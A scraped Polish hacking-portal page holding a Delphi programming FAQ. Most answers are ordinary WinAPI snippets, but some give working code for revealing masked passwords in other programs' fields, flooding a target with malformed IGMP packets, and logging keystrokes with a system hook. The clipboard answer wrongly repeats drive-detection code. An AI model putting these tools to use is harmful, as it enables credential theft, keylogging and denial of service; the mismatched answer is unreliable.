Hacking  
  Listopad 19 2017 16:54:15  
 
Nawigacja
folder Portal
. Artykuły
. Download
. Forum
. Szukaj
. FAQ
. Regulamin
folder Hacking
. Gry Hakerskie
. Filmy
folder Delphi
. Kursy
. Faq
. Źródła
. Komponenty
. Artykuły
folderWebmaster
. JavaScripts
. Skrypty PHP
folderRóżne
. Kontakt
. Zlokalizuj ip
Aktualnie online
. Gości online: 2

. Użytkowników online: 0

. Łącznie użytkowników: 153,889
. Najnowszy użytkownik: Gawrsd3f
Ostatnie artykuły
. Metoda ataku symlin...
. Asembler x86 w pigułce
. Binder plików z komp...
. [Asembler/MASM] Pobi...
. Braifuck 4 fun
faq z tomex.kom.pl
Jak zamknąć system?
Jak utworzyć, usunąć katalog?
Jak skopiować, przenieść, usunąć, zmienić nazwę pliku lub katalogu
Jak ukryc program by nie byl wyswietlany na pasku zadan ?
Jak ukryć jakiś plik (atrybut: Ukryty)?
Jak odczytać lokalny adres IP?
Jak uruchomić przeglądarkę lub klienta poczty z wpisanym adresem
Jak wysunąć i wsunąć szufladę CD-ROM'u
Jak zrobić aby aplikacja była wyświetlana
(w Menedżerze Zadań Windows w win XP)
na zakładce procesy, a nie aplikacje ?
JAk znając adres IP zdobyć adres DNS
Jak z poziomu programu wywołać zamknięcie Windows?
Jak rozpoznać dostępne dyski w systemie?
Jak uruchomić inną aplikację z poziomu Delphi?
Jak wykryć zamykanie sysyemu
Jak sprawdzić jak długo włączony jest nasz komputer?
Jak zmierzyc długosc string'a w pikselach
Jak dodać do formy w czasie wykonywania programu kilka komponentów?
Jak programowo zmienić rozdzielczość ekranu?
Jak wyciągnąć hasło ukryte pod gwiazdkami?
Jak z Delphi wysłać mejla
Programik do pingowania (pakietowania)
Jak dodać do napisanego programu Ikonkę
Jak usunąć plik do kosza?
Jak zamknąć inną aplikację?
Jak zdobyć katalog Bieżący, Windowsa, Systemowy lub Temp?
Jak ściągnąć plik z internetu?
Jak rozpoznać typ napędu?
Jak opróżnić schowek?
Jak uzyskać informację o pamięci ?
Jak przechwycić klawiaturę?
Jak wykryć połączenie z netem?
Jak zmienić położenie przycisku Start - Windows'a
Jak wyszukać jakiś plik na dysku






Jak zamknąć system?

Należy użyć jednej z funkcji WinAPI, np:

ExitWindowsEx(EWX_SHUTDOWN,0)- zamknięcie systemu
ExitWindowsEx(EWX_LOGOFF,0)- wylogowanie
ExitWindowsEx(EWX_REBOOT,0) - reset



Jak utworzyć, usunąć katalog?

Funkcja MkDir('Nazwa katlogu') tworzy katalog, a funkcja RmDir('Nazwa katalogu') go usuwa.



Jak skopiować, przenieść, usunąć, zmienić nazwę pliku lub katalogu

uses ShellAPI;

procedure TForm1.Button1Click(Sender: TObject);
var Rekord:TSHFileOpStructA;
begin
with Rekord do
begin
Wnd:=Handle;
wFunc:=FO_COPY;
pFrom:='c:\windows\win.ini';
pTo:='c:\win\win.ini';
fFlags:=FOF_NOCONFIRMMKDIR;
end;
if SHFileOperation(Rekord)<>0 then
ShowMessage('Błąd')
end;


Parametrem wFunc mogą być


FO_COPY - kopiuje z pFrom do pTo
FO_DELETE - kasuje pFrom (pTo jest ignorowane)
FO_MOVE - przenosi z pFrom do pTo
FO_RENAME - zmienia nazwę z pFrom do pTo

Informacje o parametrach fFlags są w pomocy Win32 Programmer's Reference pod hasłem SHFILEOPSTRUCT



Jak ukryc program by nie byl wyswietlany na pasku zadan ?

Do źródła projektu (Project Source) należy dodać

uses Windows;
var
ExtendedStyle:Integer;
begin
ExtendedStyle:=GetWindowLong(Application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle,GWL_EXSTYLE,
ExtendedStyle or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); end.



Jak ukryć jakiś plik (atrybut: Ukryty)?

SetFileAttributes('C:\Ala.exe', FILE_ATTRIBUTE_HIDDEN);



Jak odczytać lokalny adres IP?

Na przykład przy użyciu poniższego kodu:

uses Winsock;

procedure TForm1.FormCreate(Sender:TObject);
var wVersionRequested:WORD;
wsaData:TWSAData;
begin
//Ładujemy bibliotekę Winsock
wVersionRequested := MAKEWORD(1, 1);
WSAStartup(wVersionRequested, wsaData);
end;

procedure TForm1.Button1Click(Sender:TObject);
var p:PHostEnt;
s:array[0..128] of char;
p2:pchar;
begin
//Pobieramy nazwę komputera
GetHostName(@s, 128);
p := GetHostByName(@s);
Memo1.Lines.Add(p^.h_Name);
//Pobieramy jego adres IP
p2 := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
Memo1.Lines.Add(p2);
end;

procedure TForm1.FormDestroy(Sender:TObject);
begin
//Zwalniamy Winsock
WSACleanup;
end;


Na formie powinno znajdować się memo o nazwie Memo1. W podany sposób można też łatwo sprawdzić czy jeste?my podł?czeni do sieci. Gdy nie ma poł?czenia z Internetem to adres ma postać 0.0.0.0



Jak uruchomić przeglądarkę lub klienta poczty z wpisanym adresem

ShellExecute(Handle,'open','http://www.delphi.qs.pl',nil,nil,SW_SHOWNORMAL);

ShellExecute(Handle,'open','mailto:delphi@koti.pl',nil,nil,SW_SHOWNORMAL)



Jak wysunąć i wsunąć szufladę CD-ROM'u

uses mmsystem;

mciSendString('Set cdaudio door open wait',nil,0,handle); // wysunięcie
mciSendString('Set cdaudio door closed wait',nil,0,handle); //



Jak zrobić aby aplikacja była wyświetlana

Można:

Application.Title:='';

lub prościej

w opcjach projektu zmienic tytul aplikacji na "" czyli pustke



(w Menedżerze Zadań Windows w win XP)





na zakładce procesy, a nie aplikacje ?





JAk znając adres IP zdobyć adres DNS

w sekcji uses dodajemy moduł WinSocks


function IPAddrToName(IPAddr : string): string;
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
WSAStartup($101, WSAData);
SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if HostEnt<>nil then
begin
result:=StrPas(Hostent^.h_name)
end
else
begin
result:='';
end;
end;


A oto funkcja działająca w dróga strone

function dnstoip (dns:string):string;
type pu_long = ^u_long;
var WSAData : TWSAData;
HostEnt : PHostEnt;
InAddr : TInAddr;
begin
if WSAStartup($101, WSAData)<>0 then dnstoip := 'Wystąpił błąd!'
else begin
HostEnt:=GetHostByName(JakisEdit.Text);
InAddr.S_addr:=u_long(pu_long(HostEnt^.h_addr_list^)^);
dnstoip :=inet_ntoa(InAddr);
end;
WSACleanup;
end;



Jak z poziomu programu wywołać zamknięcie Windows?

Jest taka funkcja WinAPI o nazwie ExitWindowsEx:

ExitWindowsEx (dwReturnCode :Integer; reserved :Integer) :Integer
dwReturnCode; // tryb zamknięcia
reserved; // zarezerwowane, musi być zero

Parametr dwReturnCode określa czy zamknąć system Windows czy uruchomić ponownie Windows. Dostępne są wartości:
EWX_SHUTDOWN - zamknięcie Windows i zakończenie pracy komputera
EWX_REBOOT - restart Windows-ów
EWX_LOGOFF - wylogowanie bieżącego użytkownika, działa tylko wówczas, jeśli są włączone Profile użytkowników (Panel sterowania)
reserved - zawsze równe zero.

Funkcja zwraca zero jeśli choć jedna aplikacja odmówiła zakończenia działania (np. Norton Commander w okienku). Zwraca wartość różną od zera, gdy wszystkie aplikacje pozwoliły zakończyć swoje działanie.



Jak rozpoznać dostępne dyski w systemie?

Istnieje funkcja GetDriveType() (WinAPI), której jako parametr podajemy ścieżkę dostępu i która zwraca informacje na temat dysku, będącego częścią tej ścieżki. Zwraca ona następujące wartości:
0 - określenie dysku jest niemożliwe
1 - katalog główny nie istnieje
DRIVE_REMOVABLE - dyskietka (dysk wymienny)
DRIVE_FIXED - dysk stały
DRIVE_REMOTE - napęd sieciowy
DRIVE_CDROM - dysk CD-ROM
DRIVE_RAMDISK - dysk wirtualny (RAM dysk)

By wykryć wszystkie dyski w systemie, trzeba sprawdzić każdą literę alfabetu i zobaczyć, czy coś jest pod nią zainstalowane, np:


var dysk : char;
rodzaj : integer;
begin
for dysk:='a' to 'z' do
begin
rodzaj:=GetDriveType(PChar(dysk+':\'));
case typ of
DRIVE_REMOVABLE: Memo1.Lines.Add(dysk+':\ - dysk wymienny');
DRIVE_FIXED: Memo1.Lines.Add(dysk+':\ - dysk stały');
DRIVE_REMOTE: Memo1.Lines.Add(dysk+':\ - dysk sieciowy');
DRIVE_CDROM: Memo1.Lines.Add(dysk+':\ - dysk CD_ROM');
DRIVE_RAMDISK: Memo1.Lines.Add(dysk+':\ - RAM dysk');
end;
end;
end;



Jak uruchomić inną aplikację z poziomu Delphi?

Najlepiej do tego celu użyć funkcję ShellExecute z WinAPI. Z oryginalnych przykładów zaczerpnąłem funkcję ExecuteFile, która "przykrywa" funkcję ShellExecute. Funkcja ExecuteFile nadaję się również do otwierania pliku za pomocą domyślnej aplikacji (np. pliku TXT za pomocą Notatnika).

uses SysUtils, Forms, Windows, ShellAPI;
function ExecuteFile (const NazwaPliku, Parametry,
DomyslnyFolder: string; Tryb: Integer): THandle;
begin
ExecuteFile := ShellExecute (Application.MainForm.Handle, nil,
PChar(NazwaPliku), PChar(Parametry), PChar(DomyslnyFolder), Tryb);
end;

Wszystkie parametry ExecuteFile są chyba dosyć oczywiste. Wyjaśnijmy tylko może ostatni z nich: Tryb jest to tryb otwarcia okna aplikacji. Kilka przydatnych wartości:
SW_SHOW - okno w domyślnej pozycji i o domyślnym rozmiarze,
SW_MAXIMIZE - okno zmaksymalizowane,
SW_MINIMIZE - okno zminimalizowane.

Wszystkie możliwe wartości można znaleźć w Pomocy dla funkcji ShellExecute. Funkcja zwraca uchwyt uruchomionej aplikacji procesu lub kod błędu (mniejszy lub równy 32). Ważniejsze wartości błędów:
ERROR_FILE_NOT_FOUND - plik nie znaleziony,
ERROR_PATH_NOT_FOUND - zła ścieżka,
ERROR_BAD_FORMAT - nieprawidłowy plik EXE.

Inne funkcje do uruchomienia EXE: CreateProcess (bardziej zaawansowana), WinExec (prosta, ale nie zalecana w Win32). Jednak na "DelphiTech" przedstawiciel Borlanda używał WinExec. WinExec nie powinno się stosować głównie dlatego, że może zniknąć w przyszłych wersjach



Jak wykryć zamykanie sysyemu

private
procedure WndProc(var Message: TMessage);override;
end;


procedure TForm1.WndProc(var Message: TMessage);
begin
if Message.Msg = WM_QUERYENDSESSION then
begin
ShowMessage('Na razie');
end;
inherited WndProc(Message);
end;



Jak sprawdzić jak długo włączony jest nasz komputer?

w sekcji uses dodajemy mmsystem;

var
ile:integer;


begin
ile:=timegettime() div 60000;
label1.Caption:=(inttostr(ile)+'minut');
end;



Jak zmierzyc długosc string'a w pikselach

TCanvas.TextWidth('A tu nasz string') // funkcja ta przyjmuje wartosc dlugosci stringu



Jak dodać do formy w czasie wykonywania programu kilka komponentów?

procedure TForm1.Button1Click(Sender: TObject);
var I,Y,dy,X,n:Integer;
Edit:TEdit;
begin
n:=4; // ilość editów
dy:=10; // odstp miedzy editami
X:=20; // odstep editow od lewej krawedzi formy
Y:=50; // Pozycja, od której zaczynamy dodawać obiekty
for I:=1 to n do
begin
Edit:=TEdit.Create(Self);
Edit.Parent:=Self;

Edit.Top:=Y; //pozycja Y Edita
Edit.Left:=X; //pozycja X Edita
Edit.Text:=Format('Okienko nr %d',[I]);
Y:=Y+Edit.Height+dy;
end;
end;



Jak programowo zmienić rozdzielczość ekranu?

Wystarczy skorzystać z funkcji ChangeDisplaySettings:

procedure TForm1.Button2Click(Sender: TObject);
var Mode:TDeviceMode;
S:String;
begin
with Mode do
begin
dmSize:=SizeOf(Mode);
dmBitsPerPel:=16;
dmPelsWidth:=800;
dmPelsHeight:=600;
dmFields:=DM_PELSWIDTH+DM_PELSHEIGHT;
end;
case ChangeDisplaySettings(Mode,0)of
DISP_CHANGE_SUCCESSFUL:S:='Operacja przebiegła pomyślnie';
DISP_CHANGE_RESTART:S:='Aby zmiany odniosły skutek należy zrestartować systi';
DISP_CHANGE_BADFLAGS:S:='Błędne pole dmFields';
DISP_CHANGE_FAILED:S:='Błąd podczas ustawiania trybu';
DISP_CHANGE_BADMODE:S:='Ten tryb nie jest obsługiwany';
DISP_CHANGE_NOTUPDATED:S:='Rejestr nie został zaktualizowany';
else S:='Nieznany kod wyniku';
end;
ShowMessage(S);
end;



Jak wyciągnąć hasło ukryte pod gwiazdkami?

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Label2: TLabel;
CheckBox1: TCheckBox;
procedure Timer1Timer(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Timer1Timer(Sender: TObject);
var
Uchwyt : HWND;
NazwaKlasy : String;
DlugBufora : DWORD;
buffer : string;
TxtLength :integer;
begin
Uchwyt:=WindowFromPoint(Mouse.CursorPos);
DlugBufora := 64;
SetLength(NazwaKlasy, DlugBufora);
GetClassName(Uchwyt,Pchar(NazwaKlasy),DlugBufora);
label1.caption:='Nazwa: '+ NazwaKlasy;
PostMessage( Uchwyt, EM_SETPASSWORDCHAR, 0, 0 );
TxtLength := SendMessage(Uchwyt, WM_GETTEXTLENGTH, 0, 0);
txtlength := txtlength + 1;
setlength (buffer, TxtLength);
SendMessage(Uchwyt, WM_GETTEXT,TxtLength,longint(@buffer[1]) );
Label2.Caption:='Tekst: '+buffer;

if CheckBox1.Checked=false then // jesli nie wlaczony "BRUTAL"
exit;
for TxtLength:=1 to 300000 do
begin
if CheckBox1.Checked=false then
exit;
PostMessage( TxtLength, EM_SETPASSWORDCHAR, 0, 0 );
end;

end;

procedure TForm1.FormActivate(Sender: TObject);
begin
SetWindowPos(handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE + SWP_NOMOVE + SWP_NOACTIVATE);
end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key=27 then close;
end;

end



Jak z Delphi wysłać mejla

Sprawa jest prosta. Wystarczy włożyć komponent NMSMTP który znajduje się na zakładce "Internet". Potem w jakieś procedurze należy ustawić parametry hosta i połączyć. Ewentualnie można do formy dodać StatusBar, który będzie pokazywał etap pracy naszego komponentu. Najpierw należy kliknąć na Button1 i połączyć z hostem. Potem Button3 gdzie będą ustawiane parametry mejla i wysyłany mejl. Dodatkowo można dodać pole Memo1, a w nim wpisać ścieżki do plików, które maja być dołączone do mejla.

procedure TForm1.Button1Click(Sender: TObject); //polącz
begin
NMSMTP1.Host := Edit1.Text;
NMSMTP1.Port := StrToInt(Edit2.Text);
NMSMTP1.UserID := Edit4.Text;
NMSMTP1.Connect;
end;


procedure TForm1.Button2Click(Sender: TObject); //Rozłącz
begin
NMSMTP1.Disconnect;
end;


procedure TForm1.NMSMTP1Connect(Sender: TObject);
begin
StatusBar1.SimpleText := 'Połączony';
end;

procedure TForm1.NMSMTP1Disconnect(Sender: TObject);
begin
If StatusBar1 <> nil then
begin
StatusBar1.SimpleText := 'Rozłączony';
end ;
end;

procedure TForm1.NMSMTP1Status(Sender: TComponent; Status: String);
begin
If StatusBar1 <> nil then StatusBar1.SimpleText := status;
end;


procedure TForm1.Button3Click(Sender: TObject);
begin
NMSMTP1.PostMessage.FromAddress := Edit6.Text; //adres nadawcy
NMSMTP1.PostMessage.FromName := Edit5.Text; //nazwa nadawcy
NMSMTP1.PostMessage.Subject := Edit10.Text; //temat
NMSMTP1.PostMessage.ToAddress.Add(Edit7.Text); //adresat
NMSMTP1.PostMessage.ToBlindCarbonCopy.Add(Edit9.Text);
NMSMTP1.PostMessage.ToCarbonCopy.Add(Edit8.Text);
NMSMTP1.PostMessage.Attachments.AddStrings(Listbox1.Items);
NMSMTP1.PostMessage.Body.Assign(Memo1.Lines);
NMSMTP1.SendMail;
end;

procedure TForm1.NMSMTP1EncodeStart(Filename: String);
begin
StatusBar1.SimpleText := 'Dekodowanie '+Filename;
end;

procedure TForm1.NMSMTP1EncodeEnd(Filename: String);
begin
StatusBar1.SimpleText := 'Dekodowanie ukończone '+Filename;
end;

procedure TForm1.NMSMTP1ConnectionFailed(Sender: TObject);
begin
ShowMessage('Połączenie nieudane');
end;

procedure TForm1.NMSMTP1ConnectionRequired(var handled: Boolean);
begin
StatusBar1.SimpleText := 'Połączenie utracone, łącze ponownie';
NMSMTP1.Connect;
end;

procedure TForm1.NMSMTP1Failure(Sender: TObject);
begin
StatusBar1.SimpleText := 'Failure';
end;

procedure TForm1.NMSMTP1HostResolved(Sender: TComponent);
begin
StatusBar1.SimpleText := 'Łącze z Hostem';
end;

procedure TForm1.NMSMTP1InvalidHost(var handled: Boolean);
var
TmpStr: String;
begin
If InputQuery('Błędna nazwa Hosta !', 'Podaj nową nazwe Hosta:', TmpStr) then
begin
NMSMTP1.Host := TmpStr;
Handled := TRUE;
end;
end;

procedure TForm1.NMSMTP1PacketSent(Sender: TObject);
begin
StatusBar1.SimpleText := IntToStr(NMSMTP1.BytesSent)+' bitów z '+IntToStr(NMSMTP1.BytesTotal)+' wysłano';
end;

procedure TForm1.NMSMTP1RecipientNotFound(Recipient: String);
begin
ShowMessage('Recipient "'+Recipient+'" not found');
end;

procedure TForm1.NMSMTP1SendStart(Sender: TObject);
begin
StatusBar1.simpleText := 'Wysyłam wiadomość';
end;

procedure TForm1.NMSMTP1Success(Sender: TObject);
begin
StatusBar1.SimpleText := 'Wiadomość wysłana';
end;

procedure TForm1.NMSMTP1HeaderIncomplete(var handled: Boolean;
hiType: Integer);
begin
ShowMessage('Header Incomplete.');
end;



Programik do pingowania (pakietowania)

Na formie nalezy umiescić 2 buttony (start i stop) i podpiąć poniższe procedury. Ponadto wkładamy pole EDIT:
EditTARGET- w nim podajemy adres hosta


Oraz 3 pola tylu SpinEdit :

SpinEditPACKETSIZE - rozmiar pakietów
SpinEditTIMES - ilość pingów
SpinEditDELAY - okres pingów

Reszte elementów widocznych w programie można pominąć (panel, GroupBox, labele)



unit UnitMain;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons, winsock, ExtCtrls, Spin;

type
TFormMain = class(TForm)
Timer1: TTimer;
Panel1: TPanel;
GroupBox1: TGroupBox;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
EditTARGET: TEdit;
SpinEditPACKETSIZE: TSpinEdit;
SpinEditTIMES: TSpinEdit;
SpinEditDELAY: TSpinEdit;
Bevel1: TBevel;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
procedure FormCreate(Sender: TObject);
procedure BitBtn4Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure BitBtn3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
FormMain: TFormMain;
TargetAddr:TSockAddr;
PacketSize:Integer;
Times:Integer;
RawSocket:TSocket;
b00m:pchar;

implementation

uses UnitAbout;

{$R *.DFM}


procedure TFormMain.FormCreate(Sender: TObject);
var
wsaData:TWSAData;
begin
Caption := Application.Title;
if WSAStartup( MakeWord( 1, 2 ), wsaData ) <> 0 then begin
ShowMessage( 'Sorry pal, but it won''t work without winsock 2.1+' );
Application.Terminate;
end;
end;

procedure TFormMain.BitBtn1Click(Sender: TObject);
begin
// what will do now?
// first we'll create an IGMP Raw socket
RawSocket := socket( AF_INET, SOCK_RAW, IPPROTO_IGMP );

// We'll check if we could create it.
if RawSocket = INVALID_SOCKET then begin
// show error
ShowMessage( 'Sorry but program couldn''t create raw IGMP packet' );
Application.Terminate; // quit
end;

// let's set timer interval ( it'll be equal to our delay variable )
Timer1.Interval := SpinEditDELAY.Value ; // read from form

// read other values from form
PacketSize := SpinEditPACKETSIZE.Value;
Times := SpinEditTIMES.Value;

TargetAddr.sa_family := AF_INET;
// AF_INET = Internet Address Family
TargetAddr.sin_port := htons( 100 ); // this means port 100
// for IGMP protocol, Port Information is ignored.
TargetAddr.sin_addr.S_addr := inet_addr( pchar( EditTARGET.Text ));

// let's do the virtual connection to be able to use send command l8r
if connect( RawSocket, TargetAddr, sizeof(TargetAddr)) <> 0 then begin
// show error
ShowMessage( 'Couldn''t find the target!' );
closesocket( RawSocket ); // zamknięcie gniazda
exit; // exit from procedure
end;

// let's get mem for b00m!
getmem( b00m, PacketSize ); // yeah this one is old pascal style
// checking this pointer is extremly important
if b00m = NIL then begin
ShowMessage( 'Memory allocation error!' );
closesocket( RawSocket ); // clean the trash
Application.Terminate; // quit
end;

BitBtn1.Enabled := False; // zablokowanie przycisku start
BitBtn2.Enabled := True; // uaktywnienie prycisku stop

// enable timer to start sending packets
Timer1.Enabled := True;
end;

procedure TFormMain.FormDestroy(Sender: TObject);
begin
WSACleanup;
end;

procedure TFormMain.BitBtn2Click(Sender: TObject);
begin
// wyłączenie timera ( koniec wysyłania pakietów )
Timer1.Enabled := False;

// zwolnienie pamieci
FreeMem( b00m );

// zamknięcie gniazda
closesocket( RawSocket );

BitBtn2.Enabled := False; // zablokowanie przycisku stop
BitBtn1.Enabled := True; // uaktywnienie prycisku start

end;

procedure TFormMain.Timer1Timer(Sender: TObject);
begin
if Times = 0 then begin
BitBtn2Click( Sender ); // zatrzymanie wszystkich procesów
exit;
end;

// send malfactured IGMP packet!
send( RawSocket, b00m, PacketSize, 0 );

// decrease "Times" variable
dec( Times );
end;

end.



Jak dodać do napisanego programu Ikonkę

Konieczne do tego jest posiadanie ikonki, czyli pliku obrazu z rozszerzeniem *.ico. Możemy użyć gotowej ikonki lub skorzystać z programu "Image Editor", któy jest dolaczony do pakietu Delphi (znajdziemy go w menu Start/programy/Borland_Delphi4/Image_Editor)


Dobra przejdźmy do rzeczy:
Otwieramy nasz projekt w Delphi
Wybieramy z górnego menu "Project", a w nim na samym dole klikamy na "Options" Wybieramy zakładkę Application"
Klikamy na guzik "Load icon"
Dalej każdy juz sobie poradzi
Przy okazji możemy wybrać zakładke "Version Info" i wpisac tam informacje o naszym programiku



Jak usunąć plik do kosza?

W tym celu należy skożystać z funkcji ShFileOperation. Oto przykładowy program:


procedure Usun_do_kosza(Plik: string);
var T: TSHFileOpStruct;
begin
FillChar(T, SizeOf(T), 0);
with T do
begin
wFunc := FO_DELETE;
pFrom := PChar(Plik);
fFlags := FOF_ALLOWUNDO;
end;
if ShFileOperation(T)<>0 then
raise Exception.Create('Błąd przy usuwaniu pliku.');

end;





Jak zamknąć inną aplikację?

function zamknij(const ClassName:AnsiString):Boolean;
var
hWnd,hProc:THandle;
pid:DWORD;

begin
Result:=False;
hWnd := FindWindow(PCHAR(ClassName),nil);
if IsWindow(hWnd) then begin

GetWindowThreadProcessId(hWnd, @pid);
hproc := OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if hproc<>0 then begin
Result:=TerminateProcess(hProc,0);
if Result then CloseHandle(hProc);
end;
end;

end;



Aby wywołać tą funkcje należy znać nazwę okna zamykanego procesu.
Funkcję tą można wywołać następująco

zamknij('Tform1');
lub

zamknij('notepand');



Jak zdobyć katalog Bieżący, Windowsa, Systemowy lub Temp?
<br> procedure TForm1.Button1Click(Sender: TObject);
var
Sciezka:array[0..MAX_PATH] of char;
dir1,dir2:pchar;
ini:string;
system32_dir,main_form_dir,temp_dir,windows_dir,main_form_lokalizacja:string;
begin

GetWindowsDirectory(Sciezka,sizeof(Sciezka));
windows_dir:=Sciezka; //katalog Windows

GetCurrentDirectory(sizeof(Sciezka), Sciezka);
main_form_dir:=Sciezka; //bieżšcy katalog

GetTempPath(SizeOf(Sciezka), Sciezka);
temp_dir:=Sciezka; //katalog Temp

ini:=(ExtractFilePath(Application.ExeName)); //folder ze slashem na koncu


main_form_lokalizacja:=Application.ExeName;
//sciezka do biezacej aplikacji np: C:/Project1.exe


GetSystemDirectory(Sciezka,sizeof(Sciezka));
system32_dir:=Sciezka; // katalog systemowy (win/sys32)

end;



Jak ściągnąć plik z internetu?

uses URLMon;



procedure TForm1.Button1Click(Sender: TObject);
begin
if URLDownloadToFile(Nil,'http://www.tomex.kom.pl/index.php',
'c:\temp\index.html',0,Nil)<>0 then
ShowMessage('Błąd podczas ściągania pliku');
end;



Jak rozpoznać typ napędu?

Aby rozpoznać czy dany napęd jest dyskiem twardym, CDromem czy innym należy użyć funkcji API GetDriveType:

case GetDriveType('e:\') of
0:S:='Nie można rozpoznać rodzaju napędu';
1:S:='Taki katalog nadrzędny nie istnieje';
drive_Removable:S:='Dysk wymienny';
drive_Fixed:S:='Dysk stały';
drive_Remote:S:='Dysk sieciowy';
drive_CDROM:S:='Napęd CD';
drive_RamDisk:S:='Ramdysk';
end;



Jak opróżnić schowek?

Aby rozpoznać czy dany napęd jest dyskiem twardym, CDromem czy innym należy użyć funkcji API GetDriveType:

case GetDriveType('e:\') of
0:S:='Nie można rozpoznać rodzaju napędu';
1:S:='Taki katalog nadrzędny nie istnieje';
drive_Removable:S:='Dysk wymienny';
drive_Fixed:S:='Dysk stały';
drive_Remote:S:='Dysk sieciowy';
drive_CDROM:S:='Napęd CD';
drive_RamDisk:S:='Ramdysk';
end;



Jak uzyskać informację o pamięci ?

var
MemInfo:TMemoryStatus;

begin
MemInfo.dwLength:=sizeof(MemInfo);
GlobalMemoryStatus(MemInfo);
with MemInfo,listbox1.items do begin
add('Pamięć używana : '+inttostr(dwMemoryLoad)+' %');
add('Całkowita pamięć fizyczna : '+inttostr(dwToTalPhys)+' bajtów');
add('Wolna pamięć fizyczna : '+inttostr(dwAvailPhys)+' bajtów');
add('Całkowita pamięć stronicowana : '+inttostr(dwTotalPageFile)+' bajtów');
add('Wolna pamięć stronicowana : '+inttostr(dwAvailPageFile)+' bajtów');
add('Całkowita pamięć wirtualna : '+inttostr(dwTotalVirtual)+' bajtów');
add('Wolna pamięć wirtualna : '+inttostr(dwAvailVirtual)+' bajtów');
end;
end;



Jak przechwycić klawiaturę?

Poniżej zamieściłem gotowy fragment programu (zaczerpnięty ze strony Rava)

Forma powinna zawierać komponent TMemo

var
Hook:Integer;
MessageBuffer:TEventMsg;

function Play(Code: integer; wParam, lParam: Longint):
Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message=wm_KeyDown then
begin
Form1.Memo1.Text:=Form1.Memo1.Text+
chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;



Jak wykryć połączenie z netem?

function Connected: Boolean;
var
Flags: DWORD;
begin
Flags := INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or
INTERNET_CONNECTION_PROXY or INTERNET_CONNECTION_MODEM_BUSY;

Result := InternetGetConnectedState(@Flags, 0); // sprawdz polaczenie.
end;

Do sekcji uses należy dodać moduł WinInet. Funkcja zwraca True jeżeli jest połączenie, a False jeżeli go nie ma.



Jak zmienić położenie przycisku Start - Windows'a

var Uchwyt: THandle;
begin

Uchwyt := FindWindow(PChar('Shell_TrayWnd'), nil);
SetWindowPos(Uchwyt, HWND_TOPMOST, 200, 200, 60, 10,SWP_NOSENDCHANGING or SWP_FRAMECHANGED);

end;



Jak wyszukać jakiś plik na dysku

Należy wrzucić poniższą funkcję oraz wstawić komponent TMemo.

type
public
procedure ZnajdzPlik(Sciezka,NazwaPliku:String);
end;

procedure TForm1.ZnajdzPlik(Sciezka,NazwaPliku:String);
var

FSearchRec,DSearchRec:TSearchRec;
FindResult:integer;

function GetDirectoryName(Dir:String):String;
begin
if Dir[Length(Dir)]<>'\' then
Result:=dir+'\'
else
Result:=Dir;
end;

function IsDirNotation(AdirName:String):Boolean;
begin
Result:=(AdirName='.') or (AdirName='..');
end;

begin
Sciezka:=GetDirectoryName(Sciezka);
FindResult:=FindFirst(Sciezka+NazwaPliku,faAnyFile+faHidden+faSysFile+faReadOnly,FSearchRec);
try
while FindResult = 0 do
begin
Memo1.Lines.Add(Sciezka+FsearchRec.Name);
FindResult:=FindNext(FSearchRec);
end;

FindResult:=FindFirst(Sciezka+'*.*',faDirectory,DSearchRec);
while FindResult=0 do
begin
if ((DSearchRec.Attr and faDirectory)=faDirectory) and not IsDirNOtation(DSearchRec.Name) then
ZnajdzPlik(Sciezka+DSearchRec.Name,NazwaPliku);
FindResult:=FindNext(DSearchRec);
end;
finally
FindClose(FSearchRec);
end;
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
ZnajdzPlik('c:\','*.exe');
end;
Oceny
Tylko zarejestrowani użytkownicy mogą oceniać zawartość strony
Zaloguj się lub zarejestruj, żeby móc zagłosować.

Brak ocen. Może czas dodać swoją?
Logowanie
Nazwa użytkownika

Hasło



Nie masz jeszcze konta?
Zarejestruj się

Nie możesz się zalogować?
Poproś o nowe hasło
Shoutbox
Musisz zalogować się, aby móc dodać wiadomość.

18-11-2017 18:28
Dzien dobry Potrzebna kasa? Zaden problem! https://goo.gl/eaN
BmN

17-11-2017 09:45

17-11-2017 08:02

16-11-2017 16:08
áĺńďëŕňíűĺ ďîđíî ôčëüěű ěîëîäĺíüęčěč ďîđíî ěîëîäĺíüęčĺ ëĺńáč [url=http://angela
dorer.com/]đóńńęîĺ
ďîđíî đóńńęčěč ěîëîäĺíüę

16-11-2017 13:44
You've got wonderful information these. <a href="http://najlep
szetabletkinamase.
eu/" Chytryhttp://najlepszeta
